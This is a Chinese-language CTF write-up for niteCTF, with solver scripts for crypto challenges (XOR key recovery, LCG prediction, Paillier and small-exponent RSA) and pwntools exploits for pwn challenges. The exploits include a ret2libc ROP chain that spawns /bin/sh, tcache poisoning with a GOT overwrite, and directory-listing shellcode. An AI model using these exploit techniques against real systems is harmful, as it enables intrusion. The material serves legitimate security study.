差点忘了写了。今天才想起来。
现在的密码都从RSA转到ECC了,看来这块还得学。
Cryptography
Basically, I locked up
循环移位加异或,有一部分结果给出了,唯一的问题是这8位从哪一位开始。
def new_encryption(file_name, password):
with open(file_name, "rb") as f:
plaintext = f.read()
assert(len(password) == 8)
assert(b"HiDeteXT" in plaintext)
add_spice = lambda b: 0xff & ((b << 1) | (b >> 7))
ciphertext = bytearray(add_spice(c) ^ ord(password[i % len(password)]) for i, c in enumerate(plaintext))
with open(file_name + "_encrypted", "wb") as f:
f.write(ciphertext)
def new_decryption(file_name, password):
with open(file_name + "_encrypted", "rb") as f:
ciphertext = f.read()
remove_spice = lambda b: 0xff & ((b >> 1) | (b << 7))
plaintext = bytearray(remove_spice(c ^ ord(password[i % len(password)])) for i, c in enumerate(ciphertext))
with open(file_name + "_decrypted", "wb") as f:
f.write(plaintext)
password = REDACTED
new_encryption("Important", password)
new_decryption("Important", password)
一共就这么点数据,试呗。
'''
I was experimenting with making a new encryption algorithm, and came up with this one. I unfortunately decided to test it on a file which was very important to me, and now I need help in decrypting the file :(
flag format: NITE{}
'''
data = open("Important_encrypted", "rb").read()
c = [((v>>1)|(v<<7))&0xff for v in data]
print(c)
#assert(b"HiDeteXT" in plaintext)
key = b"HiDeteXT"
for i in range(len(c)-8):
tpass = [c[i+j]^key[j] for j in range(8)]
a = [v^tpass[(8-i+j)%8] for j,v in enumerate(c)]
print(bytes(a))
#b'Oh, You Searching for HiDeteXT ??\n\nNITE{BrUT3fORceD_y0uR_wAy_iN}\n'
Shoo-in
这是个RNG的题,每次给出两个RNG随机数生成的词,猜第3个结果。刚开始感觉这个getPrime没法弄,仔细一看不是常用的,是自己的写的,还是用的那个RNG,那就好办了。
import gmpy2
import secrets as s
from flag import flag
fn = open(r"firstnames.py", 'r')
ln = open(r"lastnames.py", 'r')
fp = open (r"primes.py", 'r')
fn_content = fn.readlines()
ln_content = ln.readlines()
prime_arr = fp.readlines()
class RNG:
def __init__ (self, seed, a, b, p):
self.seed = seed
self.a = a
self.b = b
self.p = p #p0=1300
def gen(self):
out = self.seed
while True:
out = (self.a * out + self.b) % self.p
self.a += 1
self.b += 1
self.p += 1
yield out
def getPrime ():
prime = int(prime_arr[next(gen)].strip())
return prime
def generate_keys():
p = getPrime()
q = getPrime()
n = p*q
g = n+1
l = (p-1)*(q-1)
mu = gmpy2.invert(((p-1)*(q-1)), n)
return (n, g, l, mu)
def pallier_encrypt(key, msg, rand): #k1^msg * r^k0 % k0^2
n_sqr = key[0]**2
return (pow(key[1], msg, n_sqr)*pow(rand, key[0], n_sqr) ) % n_sqr
N=(min(len(fn_content), len(ln_content))) #1300
seed, a, b = s.randbelow(N), s.randbelow(N), s.randbelow(N)
lcg = RNG(seed, a, b, N)
gen=lcg.gen()
for i in range (0, 10):
if i==0:
name1 = fn_content[a].strip()+" "+ln_content[b].strip()
else:
name1 = fn_content[next(gen)].strip()+" "+ln_content[next(gen)].strip()
name2 = fn_content[next(gen)].strip()+" "+ln_content[next(gen)].strip()
print (f"{name1} vs {name2}")
winner=next(gen)%2
inp = int(input ("Choose the winner: 1 or 2\n"))
if (winner!=inp%2):
print ("Sorry, you lost :(")
break
else:
if (i<9):
print ("That's correct, here is the next round\n")
else:
print ("Congratulations! you made it")
print ("Can you decode this secret message?")
key=generate_keys()
print(pallier_encrypt(key, int.from_bytes(flag, "big"), next(gen)))
都是已知数,重算也很容易,最后是个RSA,pq是从表里选的。
from pwn import *
import re
'''
┌──(kali㉿kali)-[~/ctf/nite]
└─$ nc 34.90.236.228 1337
== proof-of-work: disabled ==
Fiona Benjamin vs Mario Stone
Choose the winner: 1 or 2
1
Sorry, you lost :(
'''
class RNG:
def __init__ (self, seed, a, b, p):
self.seed = seed
self.a = a
self.b = b
self.p = p #p0=1300
def gen(self):
out = self.seed
while True:
out = (self.a * out + self.b) % self.p
self.a += 1
self.b += 1
self.p += 1
yield out
fn = open(r"firstnames.py", 'r')
ln = open(r"lastnames.py", 'r')
fp = open (r"primes.py", 'r')
fn_content = fn.read().split('\n')
ln_content = ln.read().split('\n')
prime_arr = fp.read().split('\n')
N=(min(len(fn_content), len(ln_content))) #1300
io = remote('34.90.236.228', 1337)
context.log_level = 'debug'
io.readline()
def get_v():
msg = io.readline().decode().strip()
vs = re.findall('(\w+) (\w+)', msg)
a = fn_content.index(vs[0][0])
b = ln_content.index(vs[0][1])
k1 = fn_content.index(vs[1][0])
k2 = ln_content.index(vs[1][1])
p = N
#k1 = (seed*a + b ) % 1300
#k2 = (k1 *(a+1) + b+1)%(1300+1)
for i in range(N):
if (i*a+b)%p == k1:
seed = i
break
lcg = RNG(seed, a, b, N)
print(k1,k2, seed,a,b)
return lcg
lcg = get_v()
gen=lcg.gen()
print(next(gen)) #k1
print(next(gen)) #k2
winter = next(gen)
io.sendlineafter(b"Choose the winner: 1 or 2\n", str(winter%2))
for i in range(9):
for _ in range(5):
winter = next(gen)
print(winter)
io.sendlineafter(b"Choose the winner: 1 or 2\n", str(winter%2))
io.recvline()
print(next(gen))
print(next(gen))
print(next(gen))
print(io.recvline())
print(io.recvline())
'''
40
307
194
b'Can you decode this secret message?\n'
b'952213854065245981494713070734627594403606241770944057463761299078042977618041864744128444259753250272243723431255259238294856382243043952641674430463537071240590430063551976596776421251255985997922377315767062413480506894962589246691271054871807393380078125595992018307960953726439758915501543884150822819975105262946366155063277558474145006656545054748986667263344024528166904365723664482018908622698721621621784837434376559047416204368776704477401745501674972486064828995568748920904920331225258554920600482364414580663333006410901233750305106127732600544142359851750623790807104679600730142992593369592671480774\n'
'''
c = 952213854065245981494713070734627594403606241770944057463761299078042977618041864744128444259753250272243723431255259238294856382243043952641674430463537071240590430063551976596776421251255985997922377315767062413480506894962589246691271054871807393380078125595992018307960953726439758915501543884150822819975105262946366155063277558474145006656545054748986667263344024528166904365723664482018908622698721621621784837434376559047416204368776704477401745501674972486064828995568748920904920331225258554920600482364414580663333006410901233750305106127732600544142359851750623790807104679600730142992593369592671480774
p = 11084536122813715927410051257817590896970562361811652731907519111743509886000443634629301965808931651188998735979652006281012423974337408085727916211410131
q = 10145978078457239983872001639902969355958538256379830083084510015286273578765144648268503622558703011174078028817782983981406601618506160018814007929931429
n = p*q
msg = (c* pow(194,-n,n**2) - 1)%(n**2)//n
print(bytes.fromhex(hex(msg)[2:]))
#niteCTF{n0T_sO_R@nd0m}
itsybitsyrsa
这个题作出来的人居然比其它少。题目的c 很小,给了一个相对很小的e和一个特别巨大的n,所以对c直接开根号就可以。
>>> from gmpy2 import *
>>> ciphertext = 6078024553798423193134967325270202387306878937484454700144785210832339394815755363797263535831144760384402536810461373914152520460747525153665635734626316310578003166548806000257683343852515263031628982090233695220996295032936575716583495728596126751240079096593674364003045802249298199299361678669999745224985018839154146274074600219004965752333973048957727607976725390827990575687729813226401613702699051183257441850021693636974059959344719833412453497905025417839593351622709320636996239925666464353782301133515409222675847507495737188612142538775923129639884713213170912412518764747314619754618935957508354423666708305283517089032529536091110672987796381041103691446861077236961021291528811563298490135433417943714341600679964290019221435173955077079534262914560363410100316164874755331857321367215504170169506530829003731002286506634566210457965981128308504884772191672868854893390582947404342842342030835898357035291520488504627786631610266867404462368810904044020922219016091271442927517366424724153649714183355349680378250273179790120117028240988746574955059493160419888665136152805270891708176918684492030128951968893950334587567572817024928765027704515006283132198362570058143023780563048556943074104495580079392728582124369736058787865590815783160185854832854400083556883133430113640241620974371084500414639729721776378201893504526891318527252714991185354640966396032717093278978086783973148758992064489657034951664501685021776992781825670446309052924862405987959567508952981788143192406287870556075361766899243818598590213907358880725157
>>> iroot(ciphertext,19)
(mpz(3272916049721142499947688295733093290957148771109821577914942913616526059378599293), True)
>>> bytes.fromhex(hex(3272916049721142499947688295733093290957148771109821577914942913616526059378599293)[2:])
b'nitectf{rsa_can_be_very_adaptable}'
>>>
curvAES 未完成
这是个ECC的题,原来看过一个数字比较小的,直接爆破。这个不行了,不知道怎么弄。
这里一些是专门写的错误和拼写错误来误导。作了点修改后。
from tinyec import registry
from Crypto.Cipher import AES
import hashlib, secrets, binascii
#curve = registry.get_curve('0x630x750x720x760x650x200x690x730x200x620x720x610x690x6e0x700x6f0x6f0x6c0x500x320x350x360x720x31')
#'curve is brainpoolP256r1'
curve = registry.get_curve('brainpoolP256r1')
def To256bit(point):
algo = hashlib.sha256(int.to_bytes(point.x,32,'big'))
algo.update(int.to_bytes(point.y,32,'big'))
return algo.digest()
def encrypt_1(msg,secretKey):
Cipher1 = AES.new(secretKey,AES.MODE_GCM)
ciphertext,auth = Cipher1.encrypt_and_digest(msg)
print(ciphertext , Cipher1.nonce , auth)
return (ciphertext,Cipher1.nonce,auth)
def encrypt_2(msg,pubKey):
ctPK = secrets.randbelow(curve.field.n)
sharedKey = ctPK * pubKey
secretKey = To256bit(sharedKey)
ciphertext, nonce, auth = encrypt_1(msg, secretKey)
ctPubK = ctPK * curve.g
return (ciphertext, nonce, auth, ctPubK ) #PubKey
privKey = 'Figure that out on your own :('
pubKey = privKey * curve.g
Encoded_message = encrypt_2(msg, pubKey)
encoded_message_details = {
'ciphertext': binascii.hexlify(),
'nonce': binascii.hexlify(),
'auth': binascii.hexlify(),
'PubKey': hex(??.x) + hex(??.y%2)[?:]
}
'''
根据ctPubK.x 恢复ctPK 求sharedKey
shareKey ->AES.key
AES解密
'''
y^2 = x^3 + 56698187605326110043627228396178346077120614539475214109386828188763884139993x + 17577232497321838841075697789794520262950426058923084567046852300633325438902 (mod 76884956397045344220809746629001649093037950200943055203735601445031516197751)
REV
undodge
一个.net的程序,UnDodge_Data\Managed\Assembly-CSharp.dll是主程序,用dySpy打开,根本没找着处理的逻辑,但是看到一堆这个
//
//
// 类型:
//
// <Module>
// <PrivateImplementationDetails>
// BallSpawner
// BombSpawner
// Flagchar
// Flagchar1
// Flagchar10
// Flagchar11
// Flagchar12
// Flagchar13
// Flagchar14
// Flagchar15
// Flagchar2
// Flagchar3
// Flagchar4
// Flagchar5
// Flagchar6
// Flagchar7
// Flagchar8
// Flagchar9
// GameManager
flagChar从0到15,猜就是这。出来的结果两头都是下划线,不大像,但试了一下对
_what_a_player__
niteCTF{_what_a_player__}
parser
第二个难度有点大,基本要猜。
int __fastcall sub_1FED(const char *a1)
{
int v2; // ebx
char v3; // al
int v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+1Ch] [rbp-14h]
v4 = 0;
v5 = -1;
while ( a1[v4] )
{
if ( is_alpha(a1[v4]) ) // 字母
{
a1[++v5] = a1[v4];
goto LABEL_18;
}
if ( a1[v4] == 40 ) // (
goto LABEL_17;
if ( a1[v4] != 41 ) // )
{
while ( !(unsigned int)stack_empty() )
{
v2 = sub_1F98((unsigned int)a1[v4]); // ()@_$&!
v3 = stack_top();
if ( v2 > (int)sub_1F98((unsigned int)v3) )// 大于栈顶则入栈
break;
a1[++v5] = stack_pop(); // 小于栈顶,弹顶
}
LABEL_17:
stack_push((unsigned int)a1[v4]); // push 5030
goto LABEL_18;
}
while ( !(unsigned int)stack_empty() && (unsigned __int8)stack_top() != 40 )// 右括号
a1[++v5] = stack_pop();
if ( !(unsigned int)stack_empty() && (unsigned __int8)stack_top() != 40 )
return -1;
stack_pop();
LABEL_18:
++v4;
}
while ( !(unsigned int)stack_empty() )
a1[++v5] = stack_pop();
a1[v5 + 1] = 0;
return printf("%s", a1);
}
前一块很简单,字母直接出,符号分别给了个优先级,见到符号会入栈,但栈必需顶大,如果不大就弹到大再入,flag就那么几个字母,给了个提示“t”是“!”,后边就是猜。
c = 'nitehi!i$hepos_!w&$rD@{}'
2 1 32 21 1..
nitehi!i$hepos_!w&$rD@{}
nite{!hi$i$!he_pos&w@rD}
this is the _ possword
后边两个一直也没看懂
pwn
Toosmall
国外多数比赛不大注重pwn,所以难度都不大。但这个的问题是怎么循环回来。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
memset(s, 0, sizeof(s));
puts("What's your favourite movie?: ");
read(0, s, 0x100uLL);
printf("Oooh you like %s?\n", s);
return 0;
}
最后找到__libc_init_first+0x4c这个位置
.text:0000000000029D10 ; void __fastcall __noreturn sub_29D10(unsigned int (__fastcall *)(_QWORD, __int64, char **), unsigned int, __int64)
.text:0000000000029D10 sub_29D10 proc near ; CODE XREF: __libc_start_main+7B↓p
.text:0000000000029D10
.text:0000000000029D10 var_90= qword ptr -90h
.text:0000000000029D10 var_84= dword ptr -84h
.text:0000000000029D10 var_80= qword ptr -80h
.text:0000000000029D10 var_78= byte ptr -78h
.text:0000000000029D10 var_30= qword ptr -30h
.text:0000000000029D10 var_28= qword ptr -28h
.text:0000000000029D10 var_10= qword ptr -10h
.text:0000000000029D10
.text:0000000000029D10 ; __unwind {
.text:0000000000029D10 50 push rax
.text:0000000000029D11 58 pop rax
.text:0000000000029D12 48 81 EC 98 00 00 00 sub rsp, 98h
.text:0000000000029D19 48 89 7C 24 08 mov [rsp+98h+var_90], rdi
.text:0000000000029D1E 48 8D 7C 24 20 lea rdi, [rsp+98h+var_78] ; env
.text:0000000000029D23 89 74 24 14 mov [rsp+98h+var_84], esi
.text:0000000000029D27 48 89 54 24 18 mov [rsp+98h+var_80], rdx
.text:0000000000029D2C 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h
.text:0000000000029D35 48 89 84 24 88 00 00 00 mov [rsp+98h+var_10], rax
.text:0000000000029D3D 31 C0 xor eax, eax
.text:0000000000029D3F E8 9C 84 01 00 call _setjmp
.text:0000000000029D3F
.text:0000000000029D44 F3 0F 1E FA endbr64
.text:0000000000029D48 85 C0 test eax, eax
.text:0000000000029D4A 75 4B jnz short loc_29D97
.text:0000000000029D4A
.text:0000000000029D4C 64 48 8B 04 25 00 03 00 00 mov rax, fs:300h
.text:0000000000029D55 48 89 44 24 68 mov [rsp+98h+var_30], rax
.text:0000000000029D5A 64 48 8B 04 25 F8 02 00 00 mov rax, fs:2F8h
.text:0000000000029D63 48 89 44 24 70 mov [rsp+98h+var_28], rax
.text:0000000000029D68 48 8D 44 24 20 lea rax, [rsp+98h+var_78]
.text:0000000000029D6D 64 48 89 04 25 00 03 00 00 mov fs:300h, rax
.text:0000000000029D76 48 8B 05 3B F2 1E 00 mov rax, cs:environ_ptr
.text:0000000000029D7D 8B 7C 24 14 mov edi, [rsp+98h+var_84]
.text:0000000000029D81 48 8B 74 24 18 mov rsi, [rsp+98h+var_80]
.text:0000000000029D86 48 8B 10 mov rdx, [rax]
.text:0000000000029D89 48 8B 44 24 08 mov rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0 call rax
.text:0000000000029D8E
.text:0000000000029D90 89 C7 mov edi, eax
.text:0000000000029D90
.text:0000000000029D92
.text:0000000000029D92 loc_29D92: ; CODE XREF: sub_29D10+AA↓j
.text:0000000000029D92 E8 59 B8 01 00 call exit
.text:0000000000029D92
.text:0000000000029D97 ; ---------------------------------------------------------------------------
.text:0000000000029D97
.text:0000000000029D97 loc_29D97: ; CODE XREF: sub_29D10+3A↑j
.text:0000000000029D97 E8 D4 78 06 00 call sub_91670
.text:0000000000029D97
.text:0000000000029D9C F0 FF 0D 05 F5 1E 00 lock dec cs:__nptl_nthreads
.text:0000000000029DA3 0F 94 C0 setz al
.text:0000000000029DA6 84 C0 test al, al
.text:0000000000029DA8 75 0E jnz short loc_29DB8
.text:0000000000029DA8
.text:0000000000029DAA BA 3C 00 00 00 mov edx, 3Ch ; '<'
.text:0000000000029DAF 90 nop
.text:0000000000029DAF
.text:0000000000029DB0
.text:0000000000029DB0 loc_29DB0: ; CODE XREF: sub_29D10+A6↓j
.text:0000000000029DB0 31 FF xor edi, edi ; error_code
.text:0000000000029DB2 89 D0 mov eax, edx
.text:0000000000029DB4 0F 05 syscall ; LINUX - sys_exit
.text:0000000000029DB6 EB F8 jmp short loc_29DB0
.text:0000000000029DB6
.text:0000000000029DB8 ; ---------------------------------------------------------------------------
.text:0000000000029DB8
.text:0000000000029DB8 loc_29DB8: ; CODE XREF: sub_29D10+98↑j
.text:0000000000029DB8 31 FF xor edi, edi
.text:0000000000029DBA EB D6 jmp short loc_29D92
.text:0000000000029DBA ; } // starts at 29D10
.text:0000000000029DBA
.text:0000000000029DBA sub_29D10 endp
.text:0000000000029DBA
.text:0000000000029DBA ; ---------------------------------------------------------------------------
这题其实实现了循环回来就好办了,泄露就行了。
#py a.py re chall 34.141.229.188:1337
#py a.py de chall
from pwncli import *
cli_script()
io = gift.io
libc = gift.libc
sa("What's your favourite movie?: \n", b'A'*24+p8(0x4c))
ru('Oooh you like '+ 'A'*24)
libc.address = u64( rn(6).ljust(8, b'\x00') ) - 0x29d4c
print(hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
sla("What's your favourite movie?: \n", b'A'*24+flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym.system))
ia()
elementary-tcache
一个堆题,用了非常难搞的libc-2.35但直接用了指针,edit有溢出可以写到指针。那就好办了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // ebx
int v5; // [rsp+4h] [rbp-7Ch] BYREF
unsigned int v6; // [rsp+8h] [rbp-78h] BYREF
unsigned int v7; // [rsp+Ch] [rbp-74h] BYREF
void *ptr[13]; // [rsp+10h] [rbp-70h]
ptr[11] = (void *)__readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("1. Allocate chunk");
puts("2. Edit chunk");
puts("3. Free chunk");
puts("4. View chunk");
puts("5. Exit");
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
printf("Option: ");
__isoc99_scanf("%d", &v5);
if ( v5 != 1 )
break;
printf("Slot: ");
__isoc99_scanf("%d", &v6);
if ( v6 < 0xA )
{
printf("Size: ");
__isoc99_scanf("%d", &v7);
v3 = v6;
ptr[v3] = malloc((int)v7);
}
else
{
puts("Bad slot number!");
}
}
if ( v5 != 2 )
break;
printf("Slot: ");
__isoc99_scanf("%d", &v7);
if ( !ptr[v7] || v7 > 9 )
goto LABEL_20;
printf("Enter content: ");
__isoc99_scanf("%s", ptr[v7]); // edit 溢出
}
if ( v5 != 3 )
break;
printf("Slot: ");
__isoc99_scanf("%d", &v7);
if ( v7 > 9 || !ptr[v7] )
goto LABEL_20;
free(ptr[v7]); // UAF
}
if ( v5 != 4 )
break;
printf("Slot: ");
__isoc99_scanf("%d", &v7);
if ( ptr[v7] && v7 <= 9 )
puts((const char *)ptr[v7]);
else
LABEL_20:
puts("Invalid slot!");
}
}
while ( v5 != 5 );
return puts("BYE!");
}
由于2.35的堆是有个异或处理,先要弄到heap地址,再tcache-attack把chunk建到got来得到libc,最后把后门写上。2.35建块要在尾号0上有点讨厌,所以这里泄露scanf再改puts
#py a.py re heapchall 34.90.214.14:1337
#py a.py de heapchall
from pwncli import *
cli_script()
io = gift.io
elf = gift.elf
libc = gift.libc
def add(idx, size):
sla("Option: ", '1')
sla("Slot: ", str(idx))
sla("Size: ", str(size))
def edit(idx,msg):
sla("Option: ", '2')
sla("Slot: ", str(idx))
sla("Enter content: ", msg)
def free(idx):
sla("Option: ", '3')
sla("Slot: ", str(idx))
def show(idx):
sla("Option: ", '4')
sla("Slot: ", str(idx))
def bye():
sla("Option: ", '5')
add(0, 0x10)
add(1, 0x10)
free(1)
free(0)
show(1)
high_heap = u64(rn(2).ljust(8, b'\x00'))
log_ex(hex(high_heap))
edit(0, p64((elf.got['__isoc99_scanf']) ^ high_heap))
add(2, 0x10)
add(3, 0x10) #got.puts
show(3)
libc.address = u64(rn(6).ljust(8, b'\x00')) - libc.sym.__isoc99_scanf
log_ex(hex(libc.address))
edit(3, flat(elf.sym['win'])[:-1]) #puts
ia()
Ticket System
也是堆题,有add,edit还有后门。还有溢出,只需要利用溢出写到后门上就Ok
else if ( v24 == 2 ) // edit
{
std::operator<<<std::char_traits<char>>(&std::cout, "Enter ticket no: ", v12);
std::istream::operator>>(&std::cin, &v25);
if ( v25 <= 0x13 )
addSongOpt((BaseTicket *)v28[v25]);
}
else
{
LABEL_21:
v22 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid option!", v12);
std::ostream::operator<<(v22, &std::endl<char,std::char_traits<char>>);
}
直接溢出写到后门
#py a.py re tickets 34.90.13.196:1337
#py a.py de tickets
from pwncli import *
cli_script()
io = gift.io
elf = gift.elf
libc = gift.libc
def add(msg=b'AAAA'):
sla("Option: ", '1')
sla("Enter ticket type: ", '2')
sla("Enter priority ticket (128 chars limit): ", msg)
def edit(idx, msg):
sla("Option: ", '2')
sla("Enter ticket no: ", str(idx))
sla('Enter priority ticket (128 chars limit): ', msg)
add()
add()
edit(0, flat(0,0,0,0,0x31,0x403d78))
edit(1, b'A')
ia()
dented-shell
这题打开了一个目录,然后通过seccomp只通话读写,猜是把flag作为文件名了。直接溢出的读和写
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+10h] [rbp-10h]
__int64 v5; // [rsp+18h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
buf = mmap(0LL, 0x80uLL, 7, 33, -1, 0LL);
if ( buf == (void *)-1LL )
{
puts("Failed to mmap!");
return -1;
}
else
{
read(0, buf, 0x80uLL);
open("./", 0, 0LL);
puts("Here's your free file descriptor :3");
if ( mprotect(buf, 0x80uLL, 5) )
{
puts("mprotect failed!");
return -1;
}
else
{
v5 = seccomp_init(0LL);
seccomp_rule_add();
seccomp_rule_add();
seccomp_rule_add();
puts("Let's see how your shellcode does!");
if ( (unsigned int)seccomp_load(v5) )
__assert_fail("seccomp_load(ctx) == 0", "shellcode_chall.c", 0x22u, "main");
((void (__fastcall *)(__int64, __int64))buf)(v5, 2147418112LL);// 执行输入的shellcode
return 0;
}
}
}
运行比较简单,只是出来的东西有些乱,多弄两回对照找到flag
文件项前边是\x04所以也算好找。
#py a.py re chall 34.90.119.207:1337
#py a.py de chall
from pwncli import *
cli_script()
io = gift.io
elf = gift.elf
libc = gift.libc
pay = '''
mov rdi,3;mov rsi,rsp;mov rdx,1024;mov rax,0xd9;syscall;
mov rdi,1;mov rsi,rsp;mov rdx,1024;mov rax,1;syscall;
'''
sa("Here's your free file descriptor :3\n", asm(pay))
rl()
print(rn(1024))
然后大海捞针
nite{ls_us3s_g3td3nts64_sysc4ll_0n_l1nux}
b"Here's your free file descriptor :3\nLet's see how your shellcode does!\n\x15o\x06\x00\x00\x00\x00\x00\xcc\x06k\xc0`N\xc1\x1b \x00\x04l1nux}\x00.\xb7\x8f\x7f\x00\x00\x16o\x06\x00\x00\x00\x00\x005\xceMn\xa1\xab\x18/(\x00\x04nite{ls_us3s_\x00\xa2j\xb4\xcbU\x00\x00\x13o\x06\x00\x00\x00\x00\x00\x81\xa5\xa2\xec\xf6\x8e\x88R\x18\x00\x08chal\x00\x11o\x06\x00\x00\x00\x00\x00\x84\x1e\xb9\xef\xb8\xb1\xf3S\x18\x00\x04..\x00\x00\x00\x14o\x06\x00\x00\x00\x00\x00\xf6\xebZ \x1e\xc4\ng \x00\x04g3td3nts64_\x00g\x17o\x06\x00\x00\x00\x00\x00\xb2\x8a\xf6w\xba\xd3\x83z \x00\x04sysc4ll_0n_\x00\x00\x12o\x06\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x18\x00\x04.\x00\x00\x00\x00@~\x08\xb7\x8f\x7f\x00\x00\xe8\x0f\xfc\x07\xfc\x7f\x00\x00h\xcdj\xb4\xcbU\x00\x00\xe0R.\xb7\x8f\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa1j\xb4\xcbU\x00\x00\xd0\x0f\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\xa1j\xb4\xcbU\x00\x00\xc8\x0f\xfc\x07\xfc\x7f\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd8/\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xfc\x07\xfc\x7f\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff\xfb\x8b\x1f\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00@\x90j\xb4\xcbU\x00\x00\x04\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\xa0*\xb7\x8f\x7f\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x80\xa1j\xb4\xcbU\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x009\x11\xfc\x07\xfc\x7f\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\xe8/\xfc\x07\xfc\x7f\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00I\x11\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xdfT\xe3 \x7f\x8f\x89\x17#\xa7\x0eL\xdf{x86_64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"